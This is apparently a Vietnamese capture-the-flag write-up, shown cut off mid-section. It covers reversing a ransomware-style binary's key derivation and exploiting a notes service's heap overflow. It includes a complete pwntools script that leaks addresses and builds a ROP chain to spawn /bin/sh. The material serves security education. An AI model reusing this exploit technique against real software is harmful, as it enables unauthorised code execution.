int v54; // [esp+50h] [ebp+8h]
v3 = a2;
v41 = a1;
v4 = *a2;
v52 = a2;
v50 = 6516325;
v5 = (void (__stdcall *)(_BYTE *, int *))v4(483040486, 129557701);
v6 = *v3;
v46 = v5;
v7 = (void (__stdcall *)(_BYTE *, int *))v6(249665980, 1071500813);
v8 = *v3;
v45 = v7;
v9 = (int (__stdcall *)(int, int, _DWORD, _DWORD, int *, int))v8(483040486, 1470354217);
v10 = *v3;
v11 = v9;
v44 = v9;
v12 = (int (__stdcall *)(int, _DWORD, int, _DWORD, _DWORD, int *))v10(483040486, 1461157287);
v13 = *v3;
v48 = v12;
v14 = v13(483040486, 110641196);
v15 = *v3;
v16 = (void (__stdcall *)(int))v14;
v42 = (void (__stdcall *)(int))v14;
v17 = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD))v15(483040486, 1251858184);
v18 = *v3;
v47 = v17;
v19 = (int (__stdcall *)(int, _DWORD))v18(483040486, 1266602787);
v20 = *v3;
v49 = v19;
v21 = (void (__stdcall *)(_DWORD))v20(483040486, (int)&unk_3875CFF);
v22 = 0;
v43 = v21;
v53 = 0;
if ( v46 && v45 && v11 && v48 && v16 && v47 && v49 && v21 )
{
v24 = ((int (__stdcall *)(char *, int, _DWORD, _DWORD, int, int, _DWORD))v44)(a3 + 50, -1073741824, 0, 0, 4, 128, 0);
v25 = v24;
if ( v24 != -1 )
{
v44 = (int (__stdcall *)(int, int, _DWORD, _DWORD, int *, int))v49(v24, 0);
v26 = (int (__stdcall *)(int, _DWORD, int, _DWORD, _DWORD, int *))v48(v25, 0, 4, 0, 0, &v50);
v48 = v26;
if ( v26 )
{
v47 = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD))v47(v26, 983071, 0, 0, 0);
if ( v47 )
{
v27 = ((int (__cdecl *)(int))v52[5])(256);
v54 = v27;
((void (__cdecl *)(int, _DWORD, int))v52[3])(v27, 0, 256);
v28 = *a3;
if ( *a3 )
{
v29 = &a3[-v27];
do
{
*(_BYTE *)v27++ = v28;
v28 = v29[v27];
}
while ( v28 );
}
*(_BYTE *)v27 = 95;
v30 = (_BYTE *)(v27 + 1);
v51 = 100;
v46(v30, &v51);
for ( ; *v30; ++v30 )
;
*v30 = 95;
v31 = v30 + 1;
v51 = 100;
v45(v31, &v51);
v32 = (int)&v31[v51 - v54];
v33 = v52;
v51 = v32;
v34 = sub_B20100((int)v47, v52, v44, v54, v32);
v35 = v33[6];
v53 = v34;
((void (__cdecl *)(int))v35)(v54);
v43(v47);
v16 = v42;
}
v16(v25);
v16((int)v48);
}
else
{
v16(v25);
}
}
v22 = v53;
v3 = v52;
}
v40 = v22;
v36 = v3[1];
v38 = 3;
v39 = v41;
return v36((int)&v38, 6);
}
Sau khi gọi 1 loạt các hàm liên quan đến file, chương trình thực hiện ghép chuỗi encrypted_by_pepega
với CompName + UserName thành như sau
Lúc đầu mình tưởng key sẽ là encrypted_by_pepega_DESKTOP-R867K5S_hansha29
nhưng khi thấy chương trình load độ dài của key vào để mã hóa, lại load độ dài vào là 45 chứ không phải 44, nên mình kết luận rằng key sẽ phải là encrypted_by_pepega_DESKTOP-R867K5S_hansha29\x00
. Đồng thời nó cũng đọc file important_note.txt
, chắc là để mã hóa xong ghi đè vào luôn
Sau khi set các giá trị xong thì nó nhảy vào 1 hàm cuối cùng trông như hàm mã hóa, sau khi debug qua 1 lần mình sửa lại các tên biến là như sau
bool __usercall sub_B20100@<al>(
int a1@<edx>,
int (__stdcall **a2)(int, int)@<ecx>,
int (__stdcall *a3)(int, int, _DWORD, _DWORD, int *, int),
int a4,
int a5)
{
int (__stdcall *v6)(int *, _DWORD, _DWORD, int, int); // eax
int (__stdcall *v7)(int, int); // edx
int (__stdcall *v8)(int, int, _DWORD, _DWORD, int *, int); // eax
int (__stdcall *v9)(int, int); // ecx
void (__stdcall *v10)(int); // edi
int (__stdcall *v11)(int, int, int); // eax
int (__stdcall *v12)(int, int); // ecx
void (__stdcall *v13)(int); // ebx
int (__stdcall *v14)(int, int, int, int, int *); // eax
int (__stdcall *v15)(int, int); // ecx
void (__stdcall *v16)(int); // eax
int (__stdcall *v17)(int, int); // ecx
int v18; // eax
bool v20; // bl
int v21; // [esp+0h] [ebp-38h]
void (__stdcall *v22)(int); // [esp+Ch] [ebp-2Ch]
int (__stdcall *v23)(int, _DWORD, int, _DWORD, int, int (__stdcall **)(int, int, _DWORD, _DWORD, int *, int), int (__stdcall *)(int, int, _DWORD, _DWORD, int *, int)); // [esp+10h] [ebp-28h]
int (__stdcall *v25)(int, int, _DWORD, _DWORD, int *, int); // [esp+18h] [ebp-20h] BYREF
int (__stdcall *v26)(int *, _DWORD, _DWORD, int, int); // [esp+1Ch] [ebp-1Ch]
void (__stdcall *v27)(int); // [esp+20h] [ebp-18h]
int (__stdcall *v28)(int, int, int, int, int *); // [esp+24h] [ebp-14h]
int (__stdcall *v29)(int, int, int); // [esp+28h] [ebp-10h]
int v30; // [esp+2Ch] [ebp-Ch] BYREF
int v31; // [esp+30h] [ebp-8h] BYREF
int v32; // [esp+34h] [ebp-4h] BYREF
CryptAcquireContextA = (int (__stdcall *)(int *, _DWORD, _DWORD, int, int))(*a2)(249665980, 1858846290);
v7 = *a2;
CryptAcquireContextA_ = CryptAcquireContextA;
CryptCreateHash = (int (__stdcall *)(int, int, _DWORD, _DWORD, int *, int))v7(249665980, 1573185900);
v9 = *a2;
CryptCreateHash_ = CryptCreateHash;
CryptReleaseContext = (void (__stdcall *)(int))v9(249665980, 1229890258);
CryptHashData = (int (__stdcall *)(int, int, int))(*a2)(0xEE199BC, 0x7815B132);
v12 = *a2;
CryptHashData_ = CryptHashData;
CryptDestroyHash = (void (__stdcall *)(int))v12(0xEE199BC, 0x1EB84116);
CryptDestroyHash_ = CryptDestroyHash;
CryptDeriveKey = (int (__stdcall *)(int, int, int, int, int *))(*a2)(0xEE199BC, 0x21695E2A);
v15 = *a2;
CryptDeriveKey_ = CryptDeriveKey;
CryptDestroyKey = (void (__stdcall *)(int))v15(0xEE199BC, 0x1B98AC67);
v17 = *a2;
CryptDestroyKey_ = CryptDestroyKey;
CryptEncrypt = v17(0xEE199BC, 0x2B75EDEF);
CryptEncrypt_ = (int (__stdcall *)(int, _DWORD, int, _DWORD, int, int (__stdcall **)(int, int, _DWORD, _DWORD, int *, int), int (__stdcall *)(int, int, _DWORD, _DWORD, int *, int)))CryptEncrypt;
v32 = 0;
v31 = 0;
v30 = 0;
if ( !CryptAcquireContextA_
|| !CryptCreateHash_
|| !CryptReleaseContext
|| !CryptHashData_
|| !CryptDestroyHash
|| !CryptDeriveKey_
|| !CryptDestroyKey_
|| !CryptEncrypt
|| !CryptAcquireContextA_(&v32, 0, 0, 24, -268435456) )
{
return 0;
}
if ( !CryptCreateHash_(v32, 0x800C, 0, 0, &v31, v21) )
{
LABEL_13:
CryptReleaseContext(v32);
return 0;
}
if ( !CryptHashData_(v31, a4, a5) || !CryptDeriveKey_(v32, 0x6801, v31, 0x580011, &v30) )
{
((void (__stdcall *)(int, _DWORD))CryptDestroyHash)(v31, 0);
goto LABEL_13;
}
CryptCreateHash_ = a3;
v20 = CryptEncrypt_(v30, 0, 1, 0, a1, &CryptCreateHash_, a3) != 0;
CryptDestroyKey_(v30);
CryptDestroyHash_(v31);
((void (__stdcall *)(int, _DWORD))CryptReleaseContext)(v32, 0);
return v20;
}
Sau khi chạy qua hàm CryptEncrypt_(v30, 0, 1, 0, a1, &CryptCreateHash_, a3)
, thì 1 loạt data mới đã được khi đè vào file important_note.txt
Sau khi phân thích hết các gói tin, mình kết luận rằng ta cần phải tìm được tên người dùng của nạn nhân và tên máy tính của nạn nhân. Vì các gói tin phản hồi đã được mã hóa, nên việc ta cần làm là giải mã nó xem có sử dụng được gì không nhưng mình thu gọn được phạm vi kiểm tra xuống chỉ còn 3 gói tin cuối, vì các gói tin bên trên thường chỉ là phản hồi của lib hoặc shell, chứ không phải resquest. Giờ ta có 2 hướng để làm, 1 là code mô phỏng lại thuật toán giải mã của chương trình. Nhưng với thằng code gà như mình thì mình sẽ tìm trick. Mình nảy ra ý tưởng là sao không gửi đống data được trả về để cho chương trình decode cho mình luôn nhỉ=)))))). Và đây là thành quả mình thu được
Từ đây mình có thể đoán được rằng tên người dùng là johndoe
. Tương tự như vậy, mình cũng tìm ra được tên máy là DESKTOP-O6RCQQC
. Qua đó ta có key là encrypted_by_pepega_DESKTOP-O6RCQQC_johndoe\x00
. Patch key vào, set lại len cho chuẩn và cho chạy qua hàm encrypt là xong. Kết quả
Pwnable
pwn02: CoolPool
WriteUp chi tiếtcredit: ajomix
pwn03-flag1: Secure Notes
credit: Naox13
Trong file zip của challenge có 2
binary là interface
và backend
Đọc file start.sh
để biết chương trình chạy như thế nào
Chạy interface
với argument là backend
Option 1
void add_new_note()
{
char title[32];
char author[32];
char buf[64];
char passwd_hash[SHA256_DIGEST_LENGTH];
int is_encrypt;
uint32_t content_len;
if(notes_size > MAX_NOTE){
printf("Unable to add new note\n");
return;
}
printf("Title: ");
read_line(title, sizeof(title) - 1);
printf("Author: ");
read_line(author, sizeof(author) - 1);
do{
printf("Wanna encrypt this notes? (y/n) ");
read_line(buf, sizeof(buf));
}while(buf[0] != 'y' && buf[0] != 'n');
is_encrypt = buf[0] == 'y' ? 1 : 0;
Note_t new_note = Note_init(title, author, 0, is_encrypt);
if(is_encrypt){
printf("What is your passwd? ");
bzero(buf, sizeof(buf));
read_line(buf, sizeof(buf) - 1);
SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash);
}
printf("How many bytes for content? ");
content_len = read_int();
if(content_len > MAX_CONTENT_LEN){
content_len = MAX_CONTENT_LEN;
}
printf("Content: \n");
new_note->note_content = malloc(content_len);
new_note->note_content_len = content_len;
fgets(new_note->note_content, content_len, stdin);
if(is_encrypt){
// sync this note to backend
size_t send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + sizeof(passwd_hash) + content_len;
msg_hdr_t send_msg = malloc(send_size);
send_msg->action = COMMIT;
send_msg->msg_size = send_size - sizeof(struct msg_hdr);
NoteSerialize_t serialize_p = (NoteSerialize_t)send_msg->msg_content;
memcpy(&(serialize_p->common), &(new_note->common), sizeof(struct NoteCommon));
serialize_p->note_content_len = sizeof(passwd_hash) + content_len;
memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash));
memcpy(&(serialize_p->content[sizeof(passwd_hash)]), new_note->note_content, new_note->note_content_len);
send_data(&ipc, RECEIVER, send_msg, send_size);
free(send_msg);
uint64_t status = 0;
int rc = recv_data_timeout(&ipc, SENDER, NULL, (uint64_t *)&status, 60);
if(IS_ERR(rc) || status != OK){
printf("Unable to sync this note to server :(, destroying this note\n");
Note_destroy(new_note);
return;
}
free(new_note->note_content);
new_note->note_content = NULL;
new_note->note_synced = 1;
}
DL_APPEND(notes, new_note);
notes_size++;
puts("Added");
}
Khởi tạo1
note. Nếu như chọn option encrypt
thì hàm này sẽ tạo 1
key bằng cách lấy hash SHA256
của password
mình nhập vào rồi gửi cho backend
để backend
mã hóa, còn không thì sẽ chỉ tạo note đó trên interface
1 số structs mà interface
sử dụng
struct Note {
struct NoteCommon common;
char *note_content;
struct Note *prev;
struct Note *next;
};
struct NoteSerialize {
struct NoteCommon common;
char content[];
};
struct NoteCommon {
char title[MAX_LEN];
char author[32];
uint32_t content_len;
uint32_t flags;
uint32_t encrypt:1;
uint32_t synced:1; // unsed in backend
};
typedef enum Action {
NONE = 0,
COMMIT = 1,
FETCH = 2,
DELETE = 3,
AUTH = 4,
TRUNCATED = 5 // use for reply_msg is larger than SHM_MEM_MAX_SIZE
} Action;
struct msg_hdr {
Action action;
uint32_t msg_size;
char msg_content[];
};
Option 2:
void list_note()
{
Note_t tnote;
DL_FOREACH(notes, tnote){
printf("Title: %s\n", tnote->note_title);
printf("Author: %s\n", tnote->note_author);
if(tnote->note_is_encrypt){
printf("Content: (Encrypted)\n");
} else {
printf("Content: %s\n", tnote->note_content);
}
}
}
Đơn giản là in ra content
của các note(nếu không được mã hóa)
Option 3:
void read_note()
{
struct Note s_note;
Note_t tmp;
char buf[64];
char passwd_hash[SHA256_DIGEST_LENGTH];
msg_hdr_t send_msg;
msg_hdr_t recv_msg;
size_t recv_size = 0;
size_t send_size = 0;
NoteSerialize_t serialize_p;
Status status;
int rc;
bzero(&s_note, sizeof(struct Note));
printf("Title: ");
read_line(s_note.note_title, sizeof(s_note.note_title) - 1);
printf("Author: ");
read_line(s_note.note_author, sizeof(s_note.note_author) - 1);
DL_SEARCH(notes, tmp, &s_note, Note_cmp);
if(!tmp){
printf("Unable to find your note\n");
return;
}
if(tmp->note_is_encrypt){
printf("Password? ");
read_line(buf, sizeof(buf) - 1);
// sha1 here
SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash);
// read from backend
send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + SHA256_DIGEST_LENGTH;
send_msg = malloc(send_size);
send_msg->action = FETCH;
send_msg->msg_size = send_size - sizeof(struct msg_hdr);
serialize_p = (NoteSerialize_t)send_msg->msg_content;
memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon));
memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash));
send_data(&ipc, RECEIVER, send_msg, send_size);
free(send_msg);
rc = recv_data_timeout(&ipc, SENDER, (void **)&recv_msg, &recv_size, 60);
if(IS_ERR(rc) || recv_size < sizeof(struct msg_hdr)){
printf("Unable to read content\n");
return;
}
serialize_p = (NoteSerialize_t)recv_msg->msg_content;
printf("Content: %s\n", serialize_p->content);
} else {
printf("Content: %s\n", tmp->note_content);
}
}
Chọn 1
note để in ra content
. Nếu note được mã hóa thì sẽ lấy content
trên backend
bằng cách đưa cho password
để chương trình tạo key
và thông qua xác thực thì mới lấy được nội dung của note. Còn nếu không bị encrypt thì lấy luôn content
của note trên interface
Option 4:
void edit_note()
{
struct Note s_note;
Note_t tmp;
char buf[64];
char passwd_hash[SHA256_DIGEST_LENGTH];
msg_hdr_t send_msg;
size_t send_size = 0;
NoteSerialize_t serialize_p;
uint64_t status;
int rc;
bzero(&s_note, sizeof(struct Note));
printf("Title: ");
read_line(s_note.note_title, sizeof(s_note.note_title) - 1);
printf("Author: ");
read_line(s_note.note_author, sizeof(s_note.note_author) - 1);
DL_SEARCH(notes, tmp, &s_note, Note_cmp);
if(!tmp){
printf("Unable to find your note\n");
return;
}
if(tmp->note_is_encrypt){
printf("Password ?");
read_line(buf, sizeof(buf) - 1);
// sha256
SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash);
// sync with server
send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + sizeof(passwd_hash);
send_msg = malloc(send_size);
send_msg->action = AUTH;
send_msg->msg_size = send_size - sizeof(struct msg_hdr);
serialize_p = (NoteSerialize_t)send_msg->msg_content;
memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon));
serialize_p->note_content_len = sizeof(passwd_hash);
memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash));
send_data(&ipc, RECEIVER, send_msg, send_size);
free(send_msg);
rc = recv_data_timeout(&ipc, SENDER, NULL, &status, 60);
if(IS_ERR(rc) || status != OK){
printf("Authenticate was failed\n");
return;
}
printf("Access granted\n");
}
printf("New content len?");
uint32_t content_len = read_int();
content_len = content_len < MAX_CONTENT_LEN ? content_len: MAX_CONTENT_LEN;
printf("New content:\n");
if(tmp->note_is_encrypt){
tmp->note_content = malloc(content_len);
tmp->note_content_len = content_len;
fgets(tmp->note_content, content_len, stdin);
// sync with server
send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + sizeof(passwd_hash) + content_len;
send_msg = malloc(send_size);
send_msg->action = COMMIT;
send_msg->msg_size = send_size - sizeof(struct msg_hdr);
serialize_p = (NoteSerialize_t)send_msg->msg_content;
memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon));
serialize_p->note_content_len += sizeof(passwd_hash);
memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash));
memcpy(serialize_p->content + sizeof(passwd_hash), tmp->note_content, tmp->note_content_len);
free(tmp->note_content);
tmp->note_content = NULL;
send_data(&ipc, RECEIVER, send_msg, send_size);
free(send_msg);
rc = recv_data_timeout(&ipc, SENDER, NULL, (uint64_t *)&status, 60);
if(IS_ERR(rc) || status != OK){
printf("Unable to update your content\n");
return;
}
tmp->note_synced = 1;
} else {
if(tmp->note_content){
free(tmp->note_content);
}
tmp->note_content = malloc(content_len);
tmp->note_content_len = content_len;
fgets(tmp->note_content, content_len, stdin);
tmp->note_synced = 0;
}
}
Chọn 1
note để thay đổi content
. Nếu được mã hóa thì sẽ phải qua bước xác thực tới backend
còn không thì sẽ chỉ thay đổi content
trên interface
Cuối cùng là hàm note_sync
ở option 6
int note_sync(int flag)
{
msg_hdr_t msg_hdr = NULL;
uint32_t send_size, recv_size;
struct msg_hdr inline_msg_hdr;
Note_t cur_note, next_note, next_note2;
NoteSerialize_t serialize_p;
uint64_t status;
uint32_t read_count = 0;
int rc;
if(flag == 1){
send_size = sizeof(struct msg_hdr);
next_note = notes;
next_note2 = notes;
// commit un-synced note to backend
DL_FOREACH(next_note, cur_note){
if(cur_note->note_synced)
continue;
send_size += sizeof(struct NoteSerialize) + cur_note->note_content_len;
if(send_size > SHM_MEM_MAX_SIZE){
next_note = cur_note;
break;
}
}
if(send_size == sizeof(struct msg_hdr)){
printf("All notes was synced\n");
return 0;
}
msg_hdr = malloc(send_size);
msg_hdr->action = COMMIT;
msg_hdr->msg_size = send_size - sizeof(struct msg_hdr);
serialize_p = (NoteSerialize_t)msg_hdr->msg_content;
DL_FOREACH(next_note2, cur_note) {
if(cur_note->note_synced)
continue;
memcpy(&(serialize_p->common), &(cur_note->common), sizeof(struct NoteCommon));
memcpy(serialize_p->content, cur_note->note_content, cur_note->note_content_len);
serialize_p = (NoteSerialize_t)((size_t)serialize_p + sizeof(struct NoteSerialize) + cur_note->note_content_len);
cur_note->note_synced = 1;
}
send_data(&ipc, RECEIVER, msg_hdr, send_size);
free(msg_hdr);
rc = recv_data_timeout(&ipc, SENDER, NULL, (uint64_t *)&status, 60);
if(IS_ERR(rc) || status != OK){
printf("Unable to commit data to backend\n");
return 1;
}
} else {
// fetch from backend
inline_msg_hdr.action = FETCH;
inline_msg_hdr.msg_size = 0xFFFFFFFF; // fetch all except encrypted note content
send_data(&ipc, RECEIVER, &inline_msg_hdr, sizeof(inline_msg_hdr));
int truncated = 0;
do{
truncated = 0;
rc = recv_data_timeout(&ipc, SENDER, (void **)&msg_hdr, (uint64_t *)&recv_size, 60);
if(IS_ERR(rc) || recv_size < sizeof(struct msg_hdr)){
if((Status)recv_size == OK){
return 0;
} else {
printf("Unable to fetch data from backend\n");
return 1;
}
}
if(msg_hdr->action == TRUNCATED)
truncated = 1;
Note_t search_note;
// parse from backend
while(read_count < msg_hdr->msg_size){
serialize_p = (NoteSerialize_t)((size_t)msg_hdr->msg_content + read_count);
Note_t new_note = Note_init(serialize_p->note_title,
serialize_p->note_author,
serialize_p->note_content_len,
serialize_p->note_is_encrypt);
read_count += sizeof(struct NoteSerialize);
Note_t p_note;
DL_SEARCH(notes, search_note, new_note, Note_cmp);
p_note = search_note;
if(!search_note){
p_note = new_note;
}
// update new content
if(!p_note->note_is_encrypt){
memcpy(p_note->note_content, serialize_p->content, serialize_p->note_content_len);
read_count += new_note->note_content_len;
}
if(p_note->note_is_encrypt) {
p_note->note_synced = 1;
if(p_note->note_content){
free(p_note->note_content);
p_note->note_content = NULL;
}
}
if(!search_note){
DL_APPEND(notes, new_note);
} else {
Note_destroy(new_note);
}
}
if(truncated){
// signal backend send next data
send_data(&ipc, RECEIVER, NULL, OK);
}
} while(truncated);
}
return 0;
}
Sẽ có 2
option đó là c
hoặc s
. c
tức là COMMIT
tất cả các note của interface
lên backend
, s
là cập nhật tất cả note của backend
về interface
Tìm Bug
Ở hàm edit_note
if(tmp->note_content){
free(tmp->note_content);
}
tmp->note_content = malloc(content_len);
tmp->note_content_len = content_len;
fgets(tmp->note_content, content_len, stdin);
tmp->note_synced = 0;
Khi malloc
thì chương trình không khởi tạo giá trị ban đầu nên vẫn còn sót lại trên heap
nên có thể leak dc
Edit note với cùng 1
size thì khi malloc
nó sẽ nhận lại chunk vừa free
Chunk khi vừa được free
Sau hàm fgets
Như vậy là có thể leak được heap
new_note(b'a', b'a', 1, b'a')
edit_note(b'a', b'a', 1, b'a')
Tương tự ta tạo 1
note với content
lớn để có unsorted bin
để leak libc. Cần phải tạo thêm 1
note khác để chương trình malloc1
chunk ở sau khi free
chunk lớn thành unsorted bin
sẽ không bị nhập vào top chunk
edit_note(b'a', b'a', 0x500, b'a')
new_note(b'b', b'b', 1, b'b')
edit_note(b'a', b'a', 1, b'a')
Như vậy là giờ mình đã có heap
và libc
Bug tiếp theo nằm ở hàm note_sync
khi lấy data từ backend
về interface
Note_t search_note;
// parse from backend
while(read_count < msg_hdr->msg_size){
serialize_p = (NoteSerialize_t)((size_t)msg_hdr->msg_content + read_count);
Note_t new_note = Note_init(serialize_p->note_title,
serialize_p->note_author,
serialize_p->note_content_len,
serialize_p->note_is_encrypt);
read_count += sizeof(struct NoteSerialize);
Note_t p_note;
DL_SEARCH(notes, search_note, new_note, Note_cmp);
p_note = search_note;
if(!search_note){
p_note = new_note;
}
// update new content
if(!p_note->note_is_encrypt){
memcpy(p_note->note_content, serialize_p->content, serialize_p->note_content_len);
read_count += new_note->note_content_len;
}
if(p_note->note_is_encrypt) {
p_note->note_synced = 1;
if(p_note->note_content){
free(p_note->note_content);
p_note->note_content = NULL;
}
}
Nếu như tìm thấy note trên interface
thì mặc nhiên nó sẽ memcpy
nội dung từ backend
vào content
của interface
mà sẽ không check bound. Vậy thì nếu như note trên interface
có content
size khác với trên backend
thì ta sẽ có BOF
Đầu tiên để đẩy note lên backend
thì mình dùng note_sync(1)
như vậy thì mỗi note chương trình sẽ đánh dấu cur_note->note_synced = 1;
Khi mà edit_note
để thay đổi size của content
thì nó sẽ không quan tâm đến flag đó mà chỉ quan tâm đến flag is_encrypt
nếu không có thì sẽ chỉ đổi content
trên interface
mà không commit tới backend
. Như vậy là ta có heap overflow
Khai Thác
Đầu tiên mình tạo 1
note với size lớn, sau đó dùng sync_note(1)
để commit tới backend
sau đó thay đổi content
note đó thành size bé hơn rồi tạo thêm 1
note mới để heap overflow
sẽ overwrite note mới đó
payload = b'A'*0x10
payload += p64(0) + p64(0x91)
payload += p64(0x62) + p64(0)*7
payload += p64(0x62) + p64(0)*3
payload += p64(0x10) + p64(0) + p64(libc.symbols['environ']) + p64(heap + 0x370)
payload += p64(0) + p64(0x21)
payload += p64(libc.address + 0x21ace0)*2
payload += p64(0) + p64(0x91)
payload += p64(0x61) + p64(0)*7
payload += p64(0x61) + p64(0)*3
payload += p64(0x200) + p64(0)*4 + p64(0xf1)
payload += p64(libc.address + 0x21ace0)*2
payload = payload.ljust(0x200, b'\x00')
new_note(b'a', b'a', 0x200, payload)
note_sync('c')
edit_note(b'a', b'a', 1, b'a')
new_note(b'b', b'b', 1, b'hehe')
Để trigger bug
note_sync('s')
Chạy đến memcpy
Copy 0x200
bytes
Ta thấy chunk 0x55969bf77610
chỉ có size 0x20
và phía trên là note thứ 2
mà mình tạo. Craft payload để ghi đè note đó. Thay đổi content
thành environ
để leak stack
payload = b'A'*0x10
payload += p64(0) + p64(0x91)
payload += p64(0x62) + p64(0)*7
payload += p64(0x62) + p64(0)*3
payload += p64(0x10) + p64(0) + p64(libc.symbols['environ']) + p64(heap + 0x370)
payload += p64(0) + p64(0x21)
payload += p64(libc.address + 0x21ace0)*2
payload += p64(0) + p64(0x91)
payload += p64(0x61) + p64(0)*7
payload += p64(0x61) + p64(0)*3
payload += p64(0x200) + p64(0)*4 + p64(0xf1)
payload += p64(libc.address + 0x21ace0)*2
payload = payload.ljust(0x200, b'\x00')
Sau khi memcpy
Như vậy là ta đã có stack
Tiếp theo mình sẽ lại khai thác lỗi này để tạo ropchain
Lại tạo 1
note có content
lớn và 1
note khác để commit tới backend
, lần này sẽ trigger 2
lần memcpy
. Lần đầu tiên sẽ dùng memcpy
để overwrite 1
note như vừa rồi, memcpy
thứ 2
sẽ dùng để tạo ropchain
Lần memcpy
đầu tiên
Overwrite content
của note tiếp theo thành saved rip
của note_sync
Lần memcpy
thứ 2
Cuối cùng ta có ropchain
Script:
from pwn import *
import psutil
sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
interface = context.binary = ELF('interface')
libc = ELF('libc.so.6')
def pidof(name):
pid = 0
for proc in psutil.process_iter():
if name == proc.name():
pid = proc.pid
break
return pid
def choice(i):
sla(b'Choice: ', str(i).encode())
def new_note(title, author, content_len, content, encrypt = None):
choice(1)
sla(b'Title', title)
sla(b'Author', author)
if encrypt != None:
sla(b'notes?', b'y')
sla(b'passwd? ', encrypt)
else:
sla(b'notes?', b'n')
sla(b'content?', str(content_len).encode())
sa(b'Content: ', content)
p.sendline(b'')
def list_note():
choice(2)
def read_note(title, author, encrypt = None):
choice(3)
sla(b'Title', title)
sla(b'Author', author)
if encrypt != None:
sla(b'Password', encrypt)
def edit_note(title, author, content_len, content, encrypt = None):
choice(4)
sla(b'Title', title)
sla(b'Author', author)
if encrypt != None:
sla(b'Password', encrypt)
sla(b'len', str(content_len).encode())
sla(b'content', content)
def delete_note(title, author, encrypt = None):
choice(5)
sla(b'Title', title)
sla(b'Author', author)
if encrypt != None:
sla(b'password', encrypt)
def note_sync(s_c):
choice(6)
if s_c == 'c':
sla(b'note? ', b'c')
else:
sla(b'note? ', b's')
def GDB(proc):
gdb.attach(proc, gdbscript='''
#b delete_note
b *(note_sync + 547)
#b *(add_new_note + 316)
#b edit_note
c''')
def GDB_backend(proc):
gdb.attach(proc, gdbscript='''
#b NoteBackend_init
c''')
def GDB_All():
GDB(p)
#GDB_backend(pidof('backend'))
# = remote('0', 31339)
#p = remote('139.162.29.93', 31339)
p = process(['./interface', './backend'])
#print('pidof: ', pidof('backend'))
new_note(b'a', b'a', 1, b'a')
#p.sendline(b'')
#leak heap
edit_note(b'a', b'a', 1, b'a')
list_note()
p.recvuntil(b'Content: ')
leak = p.recvline()[:-1]
leak = int.from_bytes(leak, byteorder='little')
print('leak: ', hex(leak))
heap = leak << 4*3
print('heap: ', hex(heap))
#leak libc
edit_note(b'a', b'a', 0x500, b'a')
new_note(b'b', b'b', 1, b'b')
#p.sendline(b'')
edit_note(b'a', b'a', 1, b'a')
list_note()
p.recvuntil(b'Content: ')
leak = p.recvline()[:-1]
leak = int.from_bytes(leak, byteorder='little')
print('leak: ', hex(leak))
libc.address = leak - 0x21b110
print('libc: ', hex(libc.address))
delete_note(b'a', b'a')
delete_note(b'b', b'b')
payload = b'A'*0x10
payload += p64(0) + p64(0x91)
payload += p64(0x62) + p64(0)*7
payload += p64(0x62) + p64(0)*3
payload += p64(0x10) + p64(0) + p64(libc.symbols['environ']) + p64(heap + 0x370)
payload += p64(0) + p64(0x21)
payload += p64(libc.address + 0x21ace0)*2
payload += p64(0) + p64(0x91)
payload += p64(0x61) + p64(0)*7
payload += p64(0x61) + p64(0)*3
payload += p64(0x200) + p64(0)*4 + p64(0xf1)
payload += p64(libc.address + 0x21ace0)*2
payload = payload.ljust(0x200, b'\x00')
new_note(b'a', b'a', 0x200, payload)
note_sync('c')
edit_note(b'a', b'a', 1, b'a')
new_note(b'b', b'b', 1, b'hehe')
note_sync('s')
list_note()
p.recvuntil(b'Author: b\n')
p.recvuntil(b'Content: ')
leak = p.recvline()[:-1]
leak = int.from_bytes(leak, byteorder='little')
print('leak: ', hex(leak))
stack = leak
print('stack: ', hex(stack))
#new_note(b'a', b'a', 1, b'a')
#delete_note(b'a', b'a')
#
payload = b'\x00'*0x200
payload += p64(0) + p64(0x21) + b'A'*0x10 + p64(0) + p64(0x91)
payload += p64(0x62) + p64(0)*7 + p64(0x62) + p64(0)*3 + p64(0x10) + p64(0)
payload += p64(stack)
payload += p64(heap + 0x630) + p64(0) + p64(0x21)
payload += p64(libc.address + 0x21ace0)*2
payload += p64(0) + p64(0x91)
payload += p64(0x61) + p64(0)*7
payload += p64(0x61) + p64(0)*3
payload += p64(0x200) + p64(0) + p64(heap + 0x400) + p64(heap + 0x770)*2 + p64(0x91)
payload += p64(0x62) + p64(0)*7
payload += p64(0x62) + p64(0)*3
payload += p64(0x50) + p64(0x2)
payload += p64(stack - 0x338) + p64(heap + 0x6e0) + p64(0) + p64(0x61)
payload += p64(0xdeadbeef)
print('len: ', hex(len(payload)))
payload2 = b'hihi'
RET = 0x00000000000baaf9 + libc.address#: xor rax, rax ; ret
rop = ROP(libc)
rop.raw(RET)
rop.system(next(libc.search(b'/bin/sh\x00')))
payload2 = rop.chain()
delete_note(b'a', b'a')
delete_note(b'b', b'b')
new_note(b'a', b'a', 0x400, payload)
new_note(b'b', b'b', 0x50, payload2)
note_sync('c')
edit_note(b'a', b'a', 0x200, b'a')
GDB_All()
note_sync('s')
p.interactive()
pwn03-flag2: Secure Notes
credit: Naox13
Để lấy dcflag2
thì chúng ta phải dùngbackend
để đọc flag nên ở đây mình sẽ khai thácbackend
Có1
bug ở trênbackend
khi tạo1
note với flagis_encrypt
với content ko quá bé thì sau khibackend
encrypt thì chunk chứa cipher text sẽ bị overwrite size của chunk trước đó. Mình không khai thác được lỗi này
Tiếp đến ởoptionFETCH
khi fetch all tứcnote_sync('s')
trêninterface
DL_FOREACH_SAFE(cur_note, tmp1, etmp)
{
tmp_size = sizeof(struct NoteSerialize);
